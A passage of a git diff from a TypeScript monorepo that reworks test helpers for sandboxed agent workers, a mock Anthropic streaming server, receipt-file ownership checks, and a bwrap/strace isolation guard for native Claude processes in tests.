restore();releaseAuthority(); rmSync(state, { recursive: true, force: true }); } }, }; } diff --git a/packages/ui-server/tests/helpers/scope-fixture.ts b/packages/ui-server/tests/helpers/scope-fixture.ts index fd51c7cb05..d8273c059c 100644 --- a/packages/ui-server/tests/helpers/scope-fixture.ts +++ b/packages/ui-server/tests/helpers/scope-fixture.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../../ui-sdk/tests/helpers/keyless-worker-command"; import { createNativeJournalFixture } from "./native-journal-fixture.js"; import { mkdtempSync, mkdirSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; @@ -27,7 +26,7 @@ export function scopeFixture(overrides: { max_tool_calls?: number; max_files_cha const message = (action: ClientScopeDecision["action"], submissionId = "athena-decision"): ClientScopeDecision => ({ type: "scope_decision", turnId: "voyage", sessionId: "ithaca", eventId: receipt().eventId, submissionId, action }); function worker(command: string) { const child = launchAgentWorker({ brainPath: brain, sandbox: prepareWorkerSandbox(brain, { profile: "governed", areas: [] }), - command: keylessWorkerCommand(root,command), env: { PATH: "/usr/bin:/bin" } }); + command: ["/bin/sh", "-c", command], env: { PATH: "/usr/bin:/bin" } }); child.stdout.resume(); child.stderr.resume(); child.stdin.end(); scope.workerStarted("voyage", child); return child; } return { root, brain, db, native, journal, scope, begin, receipt, message, worker, policy, get stopped() { return stopped; }, disconnect() { connected = false; }, reconnect() { connected = true; }, diff --git a/packages/ui-server/tests/helpers/test-app.ts b/packages/ui-server/tests/helpers/test-app.ts index 0febfcc0a3..460f848fca 100644 --- a/packages/ui-server/tests/helpers/test-app.ts +++ b/packages/ui-server/tests/helpers/test-app.ts @@ -1,4 +1,3 @@ -import { nativeScriptedService } from "../../../../scripts/test-native-guard"; import { createNativeAppFixture } from "./native-app-fixture.js"; /** * Per-test-suite `createApp()` wiring. App-level suites share one real app, @@ -139,15 +138,12 @@ export async function createTestApp(options: TestAppOptions = {}): Promisenew Response(null,{status:400})}); - const releaseScripted = nativeScriptedService(scripted.url.origin,{fixtureRoots:[brainPath,piAgentDir]}); let app: BrainUiApp; try { app = await createApp(options.appOptions); } catch (error) { - releaseScripted();scripted.stop(true); await native.close(); removeTemporaryState(); restoreEnv(); @@ -168,8 +164,7 @@ export async function createTestApp(options: TestAppOptions = {}): Promise | undefined; const real = worker.launchAgentWorker; const launch = spyOn(worker, "launchAgentWorker").mockImplementation(input => { - const child = real({ ...input, command: keylessWorkerCommand(dirname(input.brainPath),options.script) }); + const child = real({ ...input, command: ["/bin/sh", "-c", options.script] }); cleanup.push(async () => { child.kill("SIGKILL"); child.stdin.end(); child.stdout.destroy(); child.stderr.destroy(); diff --git a/packages/ui-server/tests/private-index.test.ts b/packages/ui-server/tests/private-index.test.ts index b62a4bbcfd..154e6d2c31 100644 --- a/packages/ui-server/tests/private-index.test.ts +++ b/packages/ui-server/tests/private-index.test.ts @@ -4,7 +4,6 @@ * turn's own filtered index (#1668). Real bubblewrap workers from production * admission; the index is built by the real CLI inside a masked worker. */ -import { keylessWorkerCommand } from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { installFixtureNativeStartupViews } from "./helpers/fixture-native-startup.js"; installFixtureNativeStartupViews(); import { expectRejection } from "./helpers/expect-rejection.js"; @@ -107,10 +106,9 @@ test("the private index survives the real index being replaced under a running d const f = fixture(); const hold = await f.turns.begin("restricted-live", new AbortController().signal); try { - const command = keylessWorkerCommand(f.root, `printf 'ready\\n'; IFS= read -r go; exec "$@" search ${SENTINEL} --json --limit 50`, CLI); const worker = launchAgentWorker({ brainPath: f.brain, sandbox: hold.sandbox, env: { PATH, BRAIN_ROOT: f.brain, HOME: "/tmp", NO_COLOR: "1" }, // The CLI paths ride as arguments so the launcher restores their runtime. - command }); + command: ["/bin/sh", "-c", `printf 'ready\\n'; IFS= read -r go; exec "$@" search ${SENTINEL} --json --limit 50`, "sh", ...CLI] }); const reader = (worker.stdout as unknown as AsyncIterable)[Symbol.asyncIterator](); expect(new TextDecoder().decode((await reader.next()).value), "LIVE_MASK_QUALIFIED_AND_STARTED").toBe("ready\n"); // A rebuilt real index is published by rename, sidecars are recreated, diff --git a/packages/ui-server/tests/provider-continuation-state.test.ts b/packages/ui-server/tests/provider-continuation-state.test.ts index 49beab7585..8f6712027c 100644 --- a/packages/ui-server/tests/provider-continuation-state.test.ts +++ b/packages/ui-server/tests/provider-continuation-state.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** * Both backends' real state copy behind production admission (#2726). A saved * pre-policy conversation holding a protected sentinel refuses to continue @@ -103,9 +102,8 @@ test("claude: real admission and worker state copy refuse pre-policy history, co "exit 0", ].join("; "); spawned++; - const command=keylessWorkerCommand(b.root,script,params.options?.resume ? [`--resume=${params.options.resume}`] : []); - const child = params.options!.spawnClaudeCodeProcess!({ command: command[0], - args: command.slice(1), cwd: b.brain, + const child = params.options!.spawnClaudeCodeProcess!({ command: "/bin/sh", + args: ["-c", script, ...(params.options?.resume ? [`--resume=${params.options.resume}`] : [])], cwd: b.brain, env: { PATH: "/usr/bin:/bin", CLAUDE_CONFIG_DIR: config, PROJECT: project, SESSION: session }, signal: new AbortController().signal } as never); exits.push(new Promise(resolve => child.once("exit", (code: number | null) => resolve(code)))); diff --git a/packages/ui-server/tests/turn-scope.test.ts b/packages/ui-server/tests/turn-scope.test.ts index 14a57b5bd4..797bdfba1e 100644 --- a/packages/ui-server/tests/turn-scope.test.ts +++ b/packages/ui-server/tests/turn-scope.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; import { watchdogMs } from "../../../scripts/test-deadlines"; import { createNativeJournalFixture } from "./helpers/native-journal-fixture.js"; import { expect, test } from "bun:test"; @@ -458,7 +457,7 @@ test("namespace freeze never signals the host or an unrelated worker", async () try { await f.begin(); own = f.worker('while :; do printf x >> own-heartbeat; sleep 0.02; done'); neighbor = launchAgentWorker({ brainPath: neighborBrain, sandbox: prepareWorkerSandbox(neighborBrain, { profile: "governed", areas: [] }), - command: keylessWorkerCommand(neighborBrain,'while :; do printf x >> neighbor-heartbeat; sleep 0.3; done'), env: { PATH: "/usr/bin:/bin" } }); + command: ["/bin/sh", "-c", 'while :; do printf x >> neighbor-heartbeat; sleep 0.3; done'], env: { PATH: "/usr/bin:/bin" } }); neighbor.stdout.resume(); neighbor.stderr.resume(); neighbor.stdin.end(); await wait(() => Bun.file(join(f.brain, "own-heartbeat")).size > 0 && Bun.file(join(neighborBrain, "neighbor-heartbeat")).size > 0); f.scope.toolCall("voyage", "loom"); diff --git a/packages/ui-server/tests/ws-scope-caps.test.ts b/packages/ui-server/tests/ws-scope-caps.test.ts index b781e77f11..bdd2a734fe 100644 --- a/packages/ui-server/tests/ws-scope-caps.test.ts +++ b/packages/ui-server/tests/ws-scope-caps.test.ts @@ -1,4 +1,3 @@ -import {keylessWorkerCommand} from "../../ui-sdk/tests/helpers/keyless-worker-command"; /** Actual adapters with offline provider/session fixtures and real worker processes. */ import { expect, test, spyOn } from "bun:test"; import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; @@ -52,8 +51,7 @@ for (const { adapter, voice, overshoot } of cases) test(`${adapter}: ${overshoot spawn = spyOn(workers, "launchAgentWorkerAsync").mockImplementation(async input => launch(input)); const backend = adapter === "pi" ? createPiBackend({ brainPath: brain, sessionDir: join(root, "sessions"), model: "anthropic/claude-sonnet-4-5", loadExtensions: false }) : createClaudeBackend({ brainPath: brain, queryFn: ((params: any) => { - const command=keylessWorkerCommand(root,'while :; do printf x >> "$BRAIN_WORKER_SCRATCH/adapter-heartbeat"; sleep 0.02; done'); - const child = params.options.spawnClaudeCodeProcess({ command: command[0], args: command.slice(1), + const child = params.options.spawnClaudeCodeProcess({ command: "/bin/sh", args: ["-c", 'while :; do printf x >> "$BRAIN_WORKER_SCRATCH/adapter-heartbeat"; sleep 0.02; done'], env: { PATH: "/usr/bin:/bin", HOME: home, CLAUDE_CONFIG_DIR: config }, signal: params.options.abortController.signal }); child.stdin.end(); const stream = (async function* () { diff --git a/scripts/capture-turn-surface.ts b/scripts/capture-turn-surface.ts index 42e9556468..053d772880 100644 --- a/scripts/capture-turn-surface.ts +++ b/scripts/capture-turn-surface.ts @@ -93,7 +93,7 @@ export async function captureSurface(control?: { const call = isMain ? calls[mainRequests++] : undefined; return scriptedReply(body.model, call, bodies.length, control?.finalOutputTokens ?? 1); } }); -nativeScriptedService(server.url.origin); +nativeScriptedService(server.url.origin,{fixtureRoots:[fixture.root,home]}); const abortController = new AbortController(); const timeout = setTimeout(() => abortController.abort(), watchdogMs(30_000)); let completion: string | undefined; diff --git a/scripts/measure-claude-haiku.ts b/scripts/measure-claude-haiku.ts index 2bc40e1da8..07fa3400d3 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -37,6 +37,22 @@ let worker: ReturnType | undefined; const saved = Object.fromEntries(["BRAIN_UI_EXEC_WRAPPER", "BRAIN_UI_EXEC_KILLER", "BRAIN_UI_SUBPROCESS_ENV_EXTRA"].map(key => [key, process.env[key]])); try { for (const key of Object.keys(saved)) delete process.env[key]; + server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { + const path = new URL(req.url).pathname; + if (path !== "/v1/messages") { otherRequests.push({ path, method: req.method }); return Response.json({}); } + const body = await req.json() as Record; + requests.push({ body, model: body.model, apiKey: req.headers.get("x-api-key"), authorization: req.headers.get("authorization") }); + const events = [ + { type: "message_start", message: { id: "msg_haiku", type: "message", role: "assistant", model, content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 10, output_tokens: 1 } } }, + { type: "content_block_start", index: 0, content_block: { type: "text", text: "" } }, + { type: "content_block_delta", index: 0, delta: { type: "text_delta", text: "Odysseus sails for Ithaca." } }, + { type: "content_block_stop", index: 0 }, + { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 6 } }, + { type: "message_stop" }, + ]; + return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); + } }); + nativeScriptedService(server.url.origin,{fixtureRoots:[root]}); const spawn = selectedSpawn({ cwd: brainPath, env }); const bytes = readFileSync(spawn.command); const sha256 = createHash("sha256").update(bytes).digest("hex"); @@ -53,22 +69,7 @@ try { if (!process.argv.includes("--identity-only")) { assert.deepEqual(readFileSync("/proc/net/dev", "utf8").split("\n").slice(2).filter(line => line.includes(":")) .map(line => line.split(":")[0]!.trim()), ["lo"], "require a loopback-only network namespace"); - server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(req) { - const path = new URL(req.url).pathname; - if (path !== "/v1/messages") { otherRequests.push({ path, method: req.method }); return Response.json({}); } - const body = await req.json() as Record; - requests.push({ body, model: body.model, apiKey: req.headers.get("x-api-key"), authorization: req.headers.get("authorization") }); - const events = [ - { type: "message_start", message: { id: "msg_haiku", type: "message", role: "assistant", model, content: [], stop_reason: null, stop_sequence: null, usage: { input_tokens: 10, output_tokens: 1 } } }, - { type: "content_block_start", index: 0, content_block: { type: "text", text: "" } }, - { type: "content_block_delta", index: 0, delta: { type: "text_delta", text: "Odysseus sails for Ithaca." } }, - { type: "content_block_stop", index: 0 }, - { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 6 } }, - { type: "message_stop" }, - ]; - return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); - } }); - nativeScriptedService(server.url.origin); + const profiles = defineProfiles([{ id: model, model, label: "Claude Haiku 5.5", apiKeyEnv: "OFFLINE_FIXTURE_KEY" }]); profiles[0]!.requiredEnvKeys = []; profiles[0]!.buildEnv = () => ({ ...env, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server!.port}` }); diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index 1c5261e351..e630c5f3db 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -3,18 +3,30 @@ import { closeSync, constants, fstatSync, mkdtempSync, openSync, readFileSync, r import { tmpdir } from "node:os"; import { basename, join, resolve } from "node:path"; const KEY="BRAIN_NATIVE_RECEIPT",OWNER=Symbol.for("brain-kit.test.native-receipt-owner"); -interface Sink {path:string;fd:number;dev:string;ino:string;ownerPid:number;ownerStart:string;ownerFd:number;report:boolean} -interface State {sink?:Sink;directory?:string;offset:number;pending:Buffer} +interface Sink {path:string;fd:number;dev:string;ino:string;ownerPid:number;ownerStart:string;ownerFd:number;ownerPidNamespace:string;report:boolean} +interface State {sink?:Sink;directory?:string;offset:number;pending:Buffer;degraded?:boolean} +/** Filesystem IDs come from procfs, independently of product-facing identity mocks. */ +export function nativeKernelIdentity():{uid:number;gid:number}{ + const status=readFileSync("/proc/self/status","utf8"),uid=/^Uid:\s+\d+\s+\d+\s+\d+\s+(\d+)/m.exec(status),gid=/^Gid:\s+\d+\s+\d+\s+\d+\s+(\d+)/m.exec(status); + if(!uid||!gid)throw Error("Native kernel identity is unavailable");return {uid:Number(uid[1]),gid:Number(gid[1])}; +} +function pidNamespace():string{return String(statSync("/proc/self/ns/pid",{bigint:true}).ino);} function start(pid:number):string{return readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!;} function identity(fd:number){const info=fstatSync(fd,{bigint:true});return {dev:String(info.dev),ino:String(info.ino)};} function same(sink:Sink):boolean{try{const info=identity(sink.fd);return info.dev===sink.dev&&info.ino===sink.ino;}catch{return false;}} function privateSinkPath(sink:Sink):void { const info=statSync(sink.path),parent=statSync(join(sink.path,"..")); - if(realpathSync(sink.path)!==sink.path||!info.isFile()||info.nlink!==1||(info.mode&0o777)!==0o600||info.uid!==process.getuid?.()||(parent.mode&0o777)!==0o700||parent.uid!==info.uid||String(info.dev)!==sink.dev||String(info.ino)!==sink.ino)throw Error("Native receipt file is unavailable"); + if(realpathSync(sink.path)!==sink.path||!info.isFile()||info.nlink!==1||(info.mode&0o777)!==0o600||info.uid!==nativeKernelIdentity().uid||(parent.mode&0o777)!==0o700||parent.uid!==info.uid||String(info.dev)!==sink.dev||String(info.ino)!==sink.ino)throw Error("Native receipt file is unavailable"); } function verify(value:string):Sink { const sink=JSON.parse(value) as Sink; if(!Number.isSafeInteger(sink.fd)||sink.fd<0||!Number.isSafeInteger(sink.ownerPid)||!Number.isSafeInteger(sink.ownerFd))throw Error("Native receipt descriptor is unavailable"); + if(!/^\d+$/.test(sink.ownerStart)||!/^\d+$/.test(sink.ownerPidNamespace)||!/^\d+$/.test(sink.dev)||!/^\d+$/.test(sink.ino)||typeof sink.path!=="string")throw Error("Native receipt descriptor is unavailable"); + // A valid inherited descriptor remains usable across a PID namespace. A + // path reopen still requires visible, live ancestor identity below. + if(sink.ownerPidNamespace===pidNamespace()){ + try{if(start(sink.ownerPid)!==sink.ownerStart)throw Error("owner changed");}catch{throw Error("Native receipt owner is unavailable");} + } if(same(sink))return sink; // Bun's package-script launcher can close inherited extra descriptors. // Reopen only the still-live ancestor's exact owner-only file. A direct @@ -36,10 +48,25 @@ const state=globals[OWNER]??{sink:inherited?verify(inherited):undefined,offset:0 if(!globals[OWNER])Object.defineProperty(globalThis,OWNER,{value:state,writable:false,configurable:false}); function createSink(report:boolean):{sink:Sink;directory:string;file:string}{ const directory=mkdtempSync(join(tmpdir(),"odysseus-native-receipts-")),file=join(directory,"records"),fd=openSync(file,"ax+",0o600); - return {sink:{path:file,fd,...identity(fd),ownerPid:process.pid,ownerStart:start(process.pid),ownerFd:fd,report},directory,file}; + return {sink:{path:file,fd,...identity(fd),ownerPid:process.pid,ownerStart:start(process.pid),ownerFd:fd,ownerPidNamespace:pidNamespace(),report},directory,file}; } -function owner():Sink { - if(state.sink)return state.sink; +function owner():Sink|undefined { + if(state.degraded)return; + if(state.sink){ + const sink=state.sink; + if(sink.ownerPid!==process.pid&&sink.ownerPidNamespace===pidNamespace()){ + let current:string|undefined; + try{current=start(sink.ownerPid);}catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT"&& (error as NodeJS.ErrnoException).code!=="ESRCH")throw Error("Native receipt owner is unavailable");} + if(current!==sink.ownerStart){ + // This process accepted the owner's live identity at preload. Its death + // revokes delivery only: never reopen an expired path or propagate it. + state.degraded=true;state.sink=undefined; + if(same(sink))closeSync(sink.fd); + writeSync(2,'{"kind":"native-receipt-degraded","reason":"owner-expired","delivery":"write-nothing"}\n');return; + } + } + return sink; + } const created=createSink(true);state.sink=created.sink;state.directory=created.directory; process.once("exit",()=>{try{flushNativeReceipts();}catch{process.exitCode=1;}finally{closeSync(created.sink.fd);rmSync(created.directory,{recursive:true,force:true});}}); return created.sink; @@ -55,7 +82,7 @@ export function flushNativeReceipts():void { } } export function nativeReceipt(value:Record):void { - const sink=owner();if(!same(sink))throw Error("Native receipt descriptor identity changed"); + const sink=owner();if(!sink)return;if(!same(sink))throw Error("Native receipt descriptor identity changed"); writeSync(sink.fd,JSON.stringify(value)+"\n");flushNativeReceipts(); } /** Parse bwrap's option boundary; payloads need not use an explicit --. */ @@ -92,6 +119,7 @@ export function inheritNativeReceipts(options:Record,argv:readonly s const {stdin,stdout,stderr,...rest}=options; const stdio=options.stdio?[...options.stdio]:[stdin??"ignore",stdout??"pipe",stderr??defaultStderr]; while(stdio.length<3)stdio.push("ignore"); + if(!sink){const env={...(options.env??process.env)};delete env[KEY];return {options:{...rest,stdio,env},argv:[...argv]};} const fd=stdio.length;stdio.push(sink.fd); const token=JSON.stringify({...sink,fd}),command=[...argv]; if(basename(command[0]??"")==="bwrap"){ @@ -108,5 +136,14 @@ export function captureNativeReceipts():{env:Record;read():string return {env:{[KEY]:JSON.stringify(sink)},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; } export function withoutNativeReceipts(options:Record):Record&{env:Record}{ - const env={...(options.env??process.env)};delete env[KEY];return {...options,env}; + const env={...(options.env??process.env)}; + const sinks:Array>=state.sink?[state.sink]:[]; + if(env[KEY]){try{const candidate=JSON.parse(env[KEY]);if(typeof candidate.dev==="string"&&typeof candidate.ino==="string")sinks.push(candidate);}catch{/* No token is propagated, valid or otherwise. */}} + const strip=(value:unknown)=>{ + if(typeof value!=="number")return value; + try{const stamp=identity(value);if(sinks.some(sink=>sink.dev===stamp.dev&&sink.ino===stamp.ino))return "ignore";}catch{/* Spawn retains its normal invalid-fd failure. */} + return value; + }; + delete env[KEY];return {...options,env,...(options.stdio?{stdio:options.stdio.map(strip)}:{}), + ...Object.fromEntries(["stdin","stdout","stderr"].filter(key=>Object.hasOwn(options,key)).map(key=>[key,strip(options[key])]))}; } diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 2cca5d47c2..83b844a393 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,6 +1,6 @@ import { nativeExecTrace } from "./native-exec-trace"; import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; -import { nativeReceipt } from "./native-test-receipts.ts"; +import { nativeReceipt,nativeKernelIdentity } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, symlinkSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { Readable } from "node:stream"; @@ -13,8 +13,11 @@ import { basename, dirname, join, resolve } from "node:path"; import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; const ROOT = resolve(import.meta.dir, ".."); +// Fixture TMPDIR lifetimes do not own the guard's retained tripwire evidence. +const GUARD_TMPDIR = tmpdir(); // Fixed Git metadata only. Discovery refusal must not recurse through admission. const metadataSpawnSync = Bun.spawnSync.bind(Bun); +const metadataWhich = Bun.which.bind(Bun); // Distribution-owned, read-only runtime bytes; never service/cache storage. const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const SYSTEM_FILES = ["/etc/ld.so.cache", "/etc/localtime", "/etc/os-release"]; @@ -33,6 +36,9 @@ const within = (root: string, path: string) => path === root || path.startsWith( let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; const guardedPlans=new WeakSet(); +type GuardedPlan={argv:string[];env:Record;beforeLaunch():void;dispose():void;nativeExecuted():boolean;unknown?:boolean}; +const guardedBoundaries=new WeakMap(); +export function nativeGuardedBoundary(argv:readonly string[]):GuardedPlan|undefined{return guardedBoundaries.get(argv);} export function isGuardedNativePlan(argv:readonly string[]):boolean{return guardedPlans.has(argv);} let denied = 0, reported = 0; export function nativeIsolationFailed(): boolean { return denied > 0; } @@ -65,7 +71,7 @@ export function nativeNamespaceEnvironment(): string[] { // Resolve from the installed SDK, exactly as its native package lookup does. // This runs before test mocks can replace module resolution. No executable runs. -const installedRuntimes: { path: string; size: number }[] = []; +const installedRuntimes: { path: string; size: number;aliases?:string[] }[] = []; let discoveryFailed = false; const sdkOwners = [...(existsSync(join(ROOT, "package.json")) ? [join(ROOT, "package.json")] : []), ...[...new Bun.Glob("packages/*/package.json").scanSync({ cwd: ROOT })].map(path => join(ROOT, path))]; function installedPackage(from: string, name: string): string | undefined { @@ -96,12 +102,12 @@ for (const owner of sdkOwners) { for (const name of Object.keys(sdkManifest.optionalDependencies ?? {}).filter(name => name.startsWith(`@anthropic-ai/claude-agent-sdk-${process.platform}-${process.arch}`))) { try { if (!installedPackage(sdk, name)) continue; - const path = realpathSync(fromSdk.resolve(`${name}/claude${process.platform === "win32" ? ".exe" : ""}`)); - installedRuntimes.push({ path, size: statSync(path).size }); + const alias=fromSdk.resolve(`${name}/claude${process.platform === "win32" ? ".exe" : ""}`),path = realpathSync(alias); + installedRuntimes.push({ path, size: statSync(path).size,aliases:[alias] }); } catch { /* The alternate libc package may not be installed. */ } } const cli = join(dirname(sdk), "cli.js"); - if (existsSync(cli)) installedRuntimes.push({ path: realpathSync(cli), size: statSync(cli).size }); + if (existsSync(cli)) installedRuntimes.push({ path: realpathSync(cli), size: statSync(cli).size,aliases:[cli] }); if (installedRuntimes.length === before) discoveryFailed = true; } catch { discoveryFailed = true; } } @@ -155,36 +161,41 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o let retainedBoundaryCount=0; let fixedBoundaryReasons:Set|undefined; +interface QualificationEvidence {probe:"bwrap"|"strace"|"socket-policy";exitCode:number|null;signal:string|null;stderr:string} +export function nativeQualificationEvidence(probe:QualificationEvidence["probe"],result?:{exitCode?:number|null;signalCode?:string|number|null;stderr?:unknown},error?:unknown):QualificationEvidence { + const signal=String(result?.signalCode??""); + return {probe,exitCode:Number.isInteger(result?.exitCode)?result!.exitCode!:null,signal:/^SIG[A-Z0-9]+$/.test(signal)?signal:null,stderr:compilerDiagnostic(String(result?.stderr??error??"qualification exited without stderr")).slice(0,1024)}; +} /** Retain only source-defined refusal messages; arbitrary diagnostic text is omitted. */ -export function nativeRetainedBoundaryRecord(reason:string,mountEvidence?:Record){ +export function nativeRetainedBoundaryRecord(reason:string,mountEvidence?:Record,qualification?:QualificationEvidence){ if(!fixedBoundaryReasons){ fixedBoundaryReasons=new Set(); try{for(const match of readFileSync(new URL(import.meta.url),"utf8").matchAll(/\brefuse\(\s*("(?:\\.|[^"\\])*")/g))fixedBoundaryReasons.add(JSON.parse(match[1]!));}catch{/* Unknown source refuses diagnostic text too. */} } const rawPhase=process.argv.find(value=>value.startsWith("--default-phase="))?.slice(16)??process.argv.find(value=>value.startsWith("--shared-phase="))?.slice(15); const phase=["fresh","warm","strict","controls"].includes(rawPhase??"")?rawPhase!:"unknown"; - const evidence=mountEvidence?{sourceKind:["fixed-system","descriptor","fixture-declared","unregistered-source","product-checkpoint","product-keeper","product-scratch"].includes(String(mountEvidence.sourceKind))?String(mountEvidence.sourceKind):"unknown",targetKind:["isolated-config","fixture-temporary","runtime-or-fixture"].includes(String(mountEvidence.targetKind))?String(mountEvidence.targetKind):"unknown",metadataError:["ENOENT","EACCES","EPERM","ENOTDIR","ELOOP","UNKNOWN"].includes(String(mountEvidence.metadataError))?String(mountEvidence.metadataError):"UNKNOWN",...(Number.isSafeInteger(mountEvidence.mount)&&Number(mountEvidence.mount)>=0?{mount:Number(mountEvidence.mount)}:{})}:undefined; + const evidence=mountEvidence?{sourceKind:["fixed-system","descriptor","fixture-declared","unregistered-source","product-checkpoint","product-keeper","product-scratch","product-private-index","fixture-brain"].includes(String(mountEvidence.sourceKind))?String(mountEvidence.sourceKind):"unknown",targetKind:["isolated-config","fixture-temporary","runtime-or-fixture"].includes(String(mountEvidence.targetKind))?String(mountEvidence.targetKind):"unknown",metadataError:["ENOENT","EACCES","EPERM","ENOTDIR","ELOOP","UNKNOWN"].includes(String(mountEvidence.metadataError))?String(mountEvidence.metadataError):"UNKNOWN",...(Number.isSafeInteger(mountEvidence.mount)&&Number(mountEvidence.mount)>=0?{mount:Number(mountEvidence.mount)}:{})}:undefined; return {kind:"native-offline-boundary-retained",head:nativeTestHead(),phase,stage:"boundary-admission",success:false,nativeLaunched:false, - reason:fixedBoundaryReasons.has(reason)?compilerDiagnostic(redactNativeDiagnosticAssignments(reason)).slice(0,512):"unclassified native boundary refusal",...(evidence?{mountEvidence:evidence}:{})}; + reason:fixedBoundaryReasons.has(reason)?compilerDiagnostic(redactNativeDiagnosticAssignments(reason)).slice(0,512):"unclassified native boundary refusal",...(evidence?{mountEvidence:evidence}:{}),...(qualification?{qualification}:{})}; } -function retainNativeBoundaryRefusal(reason:string,mountEvidence?:Record):void { +function retainNativeBoundaryRefusal(reason:string,mountEvidence?:Record,qualification?:QualificationEvidence):void { const root=process.argv.find(value=>value.startsWith("--native-identity-startup-audit="))?.slice("--native-identity-startup-audit=".length); if(!root||retainedBoundaryCount>=16)return; try{ - const info=lstatSync(root);if(resolve(root)!==root||realpathSync(root)!==root||!info.isDirectory()||info.uid!==process.getuid?.()||(info.mode&0o077)!==0)throw Error("invalid private diagnostic root"); - const text=JSON.stringify(nativeRetainedBoundaryRecord(reason,mountEvidence));if(Buffer.byteLength(text)>4096)throw Error("boundary diagnostic exceeds bound"); + const info=lstatSync(root);if(resolve(root)!==root||realpathSync(root)!==root||!info.isDirectory()||info.uid!==nativeKernelIdentity().uid||(info.mode&0o077)!==0)throw Error("invalid private diagnostic root"); + const text=JSON.stringify(nativeRetainedBoundaryRecord(reason,mountEvidence,qualification));if(Buffer.byteLength(text)>4096)throw Error("boundary diagnostic exceeds bound"); writeFileSync(join(root,`native-boundary-failure-${process.pid}-${retainedBoundaryCount++}.json`),text,{flag:"wx",mode:0o600}); }catch{try{nativeReceipt({kind:"native-fixture-boundary-retention-failure",head:nativeTestHead(),success:false,reason:"private boundary snapshot unavailable"});}catch{/* Refusal must still terminate if its receipt channel has closed. */}} } -function refuse(reason: string, mountEvidence?: Record, compilerStderr?: string): never { +function refuse(reason: string, mountEvidence?: Record, compilerStderr?: string,qualification?:QualificationEvidence): never { denied++; - retainNativeBoundaryRefusal(reason,mountEvidence); + retainNativeBoundaryRefusal(reason,mountEvidence,qualification); // SDK callers may await an event that a refused launch can never emit. // End this failed test invocation after synchronous callers see the error. setImmediate(() => process.exit(1)); // Classifications and mount evidence omit arguments/settings/credentials. // Compiler diagnostics are bounded and scrubbed before reaching this receipt. - nativeReceipt({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}), ...(compilerStderr !== undefined ? { compilerStderr } : {}) }); + nativeReceipt({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}), ...(compilerStderr !== undefined ? { compilerStderr } : {}),...(qualification?{qualification}:{}) }); throw new Error(`Offline native Claude refused before launch: ${reason}`); } @@ -203,20 +214,20 @@ function qualify(): void { try { result = Bun.spawnSync(["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--ro-bind", "/usr", "/usr", "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "/usr/bin/true"], { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } - catch { refuse("OS namespace setup failed"); } - if (result.exitCode !== 0) refuse("OS namespace setup failed"); + catch(error) { refuse("OS namespace setup failed",undefined,undefined,nativeQualificationEvidence("bwrap",undefined,error)); } + if (result.exitCode !== 0) refuse("OS namespace setup failed",undefined,undefined,nativeQualificationEvidence("bwrap",result)); let trace: ReturnType; try { trace = Bun.spawnSync(["strace", "-I", "1", "--kill-on-exit", "-qq", "-e", "trace=connect", "-e", "raw=connect", "/usr/bin/true"], { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); } - catch { refuse("native connection audit setup failed"); } - if (trace.exitCode !== 0) refuse("native connection audit setup failed"); + catch(error) { refuse("native connection audit setup failed",undefined,undefined,nativeQualificationEvidence("strace",undefined,error)); } + if (trace.exitCode !== 0) refuse("native connection audit setup failed",undefined,undefined,nativeQualificationEvidence("strace",trace)); bwrapExecutable = Bun.which("bwrap") ?? refuse("OS namespace setup failed"); straceExecutable = Bun.which("strace") ?? refuse("native connection audit setup failed"); const policy = compileSocketPolicy(); let socketProof: ReturnType; try { socketProof = Bun.spawnSync([policy, "--probe", nativeTestHead()], { env: {}, stdout: 